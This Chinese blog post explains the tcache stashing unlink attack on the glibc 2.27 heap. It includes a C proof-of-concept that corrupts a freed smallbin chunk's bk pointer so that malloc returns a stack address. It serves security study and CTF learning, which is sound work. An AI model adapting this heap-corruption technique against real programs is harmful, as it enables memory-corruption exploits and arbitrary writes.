Tcache_attack(2)-tcache stashing unlink attack

本文最后更新于 2024年11月15日 下午

Tcache_Attack(2)-tcache stashing unlink attack

原理

这种攻击利用的是tcache bin中有剩余,同大小的small bin会放进tcache,这种情况可以使用calloc分配空间时触发,因为tcache分配不从tcachebin 中获取,在获取一个smallbin 中的chunk后,如果tcachebin中有足够的空间,smallbin 会把剩余的chunk挂进tcachebin中,这个过程只会对第一个bin进行检查,对后面的堆块没有,如果我们能修改smallbin 中chunk的bk指针,那就有办法把fake_chunk挂进 tcachebin

分析

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 //gcc -g -no-pie hollk.c -o hollk
//patchelf --set-rpath 路径/2.27-3ubuntu1_amd64/ hollk
//patchelf --set-interpreter 路径/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 hollk
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("stack_var addr is:%p\n",&stack_var[0]);
printf("chunk_lis addr is:%p\n",&chunk_lis[0]);
printf("target addr is:%p\n",(void*)target);

stack_var[3] = (unsigned long)(&stack_var[2]);

for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

free(chunk_lis[1]);
free(chunk_lis[0]);
free(chunk_lis[2]);

malloc(0xa0);
malloc(0x90);
malloc(0x90);

chunk_lis[2][1] = (unsigned long)stack_var;
calloc(1,0x90);

target = malloc(0x90);

printf("target now: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

这段代码的意思就是申请9个chunk,然后释放掉,其中tcachebin被填满了之后,有两个chunk进入smallbin

分别位chunk1,chunk3,用malloc申请从tcachebin中拿走两个chunk,让tcachebin处于不满的状态,然后把chunk3的bk指针改成target chunk,让target挂入smallbin,这时候用calloc从smallbin拿走了chunk1,而tcachbing中刚好有两个空位,smallbin 就会把chunk3和targetchunk挂进tcachebin,其中的检查只会检查chunk3,而chunk3是完整的,所以能通过检查

执行完两个循环后的bin如下图

malloc从tcachebin拿走两个chunk

更改chunk3的bk指针,target被挂进smallbin

calloc从smallbin 拿走一个chunk,重新分配空间后

参考文章

好好说话之Tcache Attack(3):tcache stashing unlink attack(本文所有图片来源)

ctfwiki-Tcache attack


Tcache_attack(2)-tcache stashing unlink attack
http://example.com/2024/11/10/tcache-attck/
作者
清风
发布于
2024年11月10日
许可协议